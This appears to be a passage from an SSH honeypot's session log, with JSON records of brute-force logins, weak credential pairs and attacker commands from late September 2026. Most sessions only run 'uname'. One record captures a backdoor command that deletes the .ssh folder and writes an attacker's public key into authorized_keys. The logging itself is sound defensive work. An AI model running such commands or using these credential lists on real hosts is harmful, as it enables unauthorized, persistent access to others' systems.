Adversarial Observation Interface

109.160.32.126

2026-09-29 02:24:08.970940 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: park

Record ID: b018e0c01469

Client Version: SSH-2.0-Go

Engagement Duration: 8.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "b018e0c01469",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T02:24:08.970940Z",
  "end_time": "2026-09-29T02:24:17.185818Z",
  "duration": "8.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "park",
      "pass": "park"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:24:06.539952 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: minecraft / 123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: dac2e6f937fd

Client Version: SSH-2.0-Go

Engagement Duration: 2.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "dac2e6f937fd",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:24:06.539952Z",
  "end_time": "2026-09-29T02:24:08.989799Z",
  "duration": "2.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "minecraft",
    "pass": "123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:24:01.512870 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: openvpn

Record ID: 6ed5dee4516d

Client Version: SSH-2.0-Go

Engagement Duration: 2.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "6ed5dee4516d",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:24:01.512870Z",
  "end_time": "2026-09-29T02:24:03.475239Z",
  "duration": "2.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "openvpn",
      "pass": "openvpn"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.126

2026-09-29 02:23:56.903122 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / Zza123456

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 3e201eb3d8ce

Client Version: SSH-2.0-Go

Engagement Duration: 10.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "3e201eb3d8ce",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T02:23:56.903122Z",
  "end_time": "2026-09-29T02:24:06.912223Z",
  "duration": "10.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Zza123456"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:23:56.250842 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: admin / 090807

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 4bf5afbea6f7

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "4bf5afbea6f7",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:23:56.250842Z",
  "end_time": "2026-09-29T02:23:57.423168Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "090807"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

195.178.110.26

2026-09-29 02:23:52.246250 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: pec

Record ID: 086a13cef33e

Client Version: SSH-2.0-Go

Engagement Duration: 1.7s

HASSH Fingerprint: 16443846184eafde36765c9bab2f4397

{
  "id": "086a13cef33e",
  "src_ip": "195.178.110.26",
  "start_time": "2026-09-29T02:23:52.246250Z",
  "end_time": "2026-09-29T02:23:53.994188Z",
  "duration": "1.7",
  "version": "SSH-2.0-Go",
  "hassh": "16443846184eafde36765c9bab2f4397",
  "attempts": [
    {
      "user": "pec",
      "pass": "pec"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:23:50.918108 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: guest / guest

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: e5d95620ead4

Client Version: SSH-2.0-Go

Engagement Duration: 1.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "e5d95620ead4",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:23:50.918108Z",
  "end_time": "2026-09-29T02:23:52.296766Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "guest",
    "pass": "guest"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:23:45.880401 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: deploy / 123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: aadb0befb357

Client Version: SSH-2.0-Go

Engagement Duration: 1.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "aadb0befb357",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:23:45.880401Z",
  "end_time": "2026-09-29T02:23:47.477906Z",
  "duration": "1.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "deploy",
    "pass": "123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.126

2026-09-29 02:23:43.582370 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: ubuntu / 123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 6aceedfb0877

Client Version: SSH-2.0-Go

Engagement Duration: 14.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "6aceedfb0877",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T02:23:43.582370Z",
  "end_time": "2026-09-29T02:23:58.495327Z",
  "duration": "14.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:23:40.029007 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: deploy / 123456

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 27f7dc34c1ea

Client Version: SSH-2.0-Go

Engagement Duration: 2.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "27f7dc34c1ea",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:23:40.029007Z",
  "end_time": "2026-09-29T02:23:42.592265Z",
  "duration": "2.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "deploy",
    "pass": "123456"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:23:34.786869 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: customer

Record ID: a1accbbaa8cb

Client Version: SSH-2.0-Go

Engagement Duration: 2.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "a1accbbaa8cb",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:23:34.786869Z",
  "end_time": "2026-09-29T02:23:36.949559Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "customer",
      "pass": "customer"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.126

2026-09-29 02:23:31.417245 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / 04041987

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: a906668cca34

Client Version: SSH-2.0-Go

Engagement Duration: 14.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "a906668cca34",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T02:23:31.417245Z",
  "end_time": "2026-09-29T02:23:45.996541Z",
  "duration": "14.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "04041987"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:23:29.131078 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / =

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: ab02fbbc2b2a

Client Version: SSH-2.0-Go

Engagement Duration: 1.8s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "ab02fbbc2b2a",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:23:29.131078Z",
  "end_time": "2026-09-29T02:23:30.908078Z",
  "duration": "1.8",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "="
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:23:23.909566 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: sedu

Record ID: 3748469a2cd4

Client Version: SSH-2.0-Go

Engagement Duration: 2.4s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "3748469a2cd4",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:23:23.909566Z",
  "end_time": "2026-09-29T02:23:26.317443Z",
  "duration": "2.4",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "sedu",
      "pass": "sedu"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

69.57.172.119

2026-09-29 02:23:19.550640 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: nonproductions

Record ID: cd7d945c7dd6

Client Version: SSH-2.0-Go

Engagement Duration: 2.9s

HASSH Fingerprint: 1d1621d4b4020aa4fdba5b47ddef8678

{
  "id": "cd7d945c7dd6",
  "src_ip": "69.57.172.119",
  "start_time": "2026-09-29T02:23:19.550640Z",
  "end_time": "2026-09-29T02:23:22.482557Z",
  "duration": "2.9",
  "version": "SSH-2.0-Go",
  "hassh": "1d1621d4b4020aa4fdba5b47ddef8678",
  "attempts": [
    {
      "user": "nonproductions",
      "pass": "nonproductions@123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.126

2026-09-29 02:23:19.239444 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: user2

Record ID: a0296a6b25a6

Client Version: SSH-2.0-Go

Engagement Duration: 10.7s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "a0296a6b25a6",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T02:23:19.239444Z",
  "end_time": "2026-09-29T02:23:29.954725Z",
  "duration": "10.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "user2",
      "pass": "ZAQ!xsw2"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

69.57.172.119

2026-09-29 02:23:19.015306 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c9355b6917c9

Client Version: Unknown

Engagement Duration: 0.3s

{
  "id": "c9355b6917c9",
  "src_ip": "69.57.172.119",
  "start_time": "2026-09-29T02:23:19.015306Z",
  "end_time": "2026-09-29T02:23:19.275334Z",
  "duration": "0.3",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

109.160.32.113

2026-09-29 02:23:18.812984 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / test1234

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: d8d243d96a72

Client Version: SSH-2.0-Go

Engagement Duration: 1.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "d8d243d96a72",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:23:18.812984Z",
  "end_time": "2026-09-29T02:23:20.024009Z",
  "duration": "1.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "test1234"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:23:13.157374 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / aassddff

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 450badd31c34

Client Version: SSH-2.0-Go

Engagement Duration: 1.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "450badd31c34",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:23:13.157374Z",
  "end_time": "2026-09-29T02:23:15.030428Z",
  "duration": "1.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "aassddff"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.126

2026-09-29 02:23:10.537560 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / Root@123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 2810bdac0b36

Client Version: SSH-2.0-Go

Engagement Duration: 9.7s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "2810bdac0b36",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T02:23:10.537560Z",
  "end_time": "2026-09-29T02:23:20.219482Z",
  "duration": "9.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Root@123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

51.254.103.32

2026-09-29 02:23:08.679303 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: b73ffcfa3cb5

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "b73ffcfa3cb5",
  "src_ip": "51.254.103.32",
  "start_time": "2026-09-29T02:23:08.679303Z",
  "end_time": "2026-09-29T02:23:09.669546Z",
  "duration": "1.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:23:07.702580 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: admin1

Record ID: bcfc6477de0d

Client Version: SSH-2.0-Go

Engagement Duration: 2.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "bcfc6477de0d",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:23:07.702580Z",
  "end_time": "2026-09-29T02:23:10.026752Z",
  "duration": "2.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "admin1",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

51.254.103.32

2026-09-29 02:23:06.541186 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 0d78fbd377db

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "0d78fbd377db",
  "src_ip": "51.254.103.32",
  "start_time": "2026-09-29T02:23:06.541186Z",
  "end_time": "2026-09-29T02:23:08.525882Z",
  "duration": "2.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

51.254.103.32

2026-09-29 02:23:04.283595 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / dupa

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: 558f65b3ccfd

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 5.4s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "558f65b3ccfd",
  "src_ip": "51.254.103.32",
  "start_time": "2026-09-29T02:23:04.283595Z",
  "end_time": "2026-09-29T02:23:09.666692Z",
  "duration": "5.4",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "dupa"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:23:02.595109 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / CatCult2025!

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 32c37ec5a3fb

Client Version: SSH-2.0-Go

Engagement Duration: 1.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "32c37ec5a3fb",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:23:02.595109Z",
  "end_time": "2026-09-29T02:23:04.171144Z",
  "duration": "1.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "CatCult2025!"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.113

2026-09-29 02:22:57.391333 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: vyos

Record ID: 9f649549caa8

Client Version: SSH-2.0-Go

Engagement Duration: 2.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "9f649549caa8",
  "src_ip": "109.160.32.113",
  "start_time": "2026-09-29T02:22:57.391333Z",
  "end_time": "2026-09-29T02:22:59.453650Z",
  "duration": "2.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "vyos",
      "pass": "vyos"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.126

2026-09-29 02:22:55.758733 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: master

Record ID: 40567b44a694

Client Version: SSH-2.0-Go

Engagement Duration: 8.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "40567b44a694",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T02:22:55.758733Z",
  "end_time": "2026-09-29T02:23:04.008037Z",
  "duration": "8.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "master",
      "pass": "123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
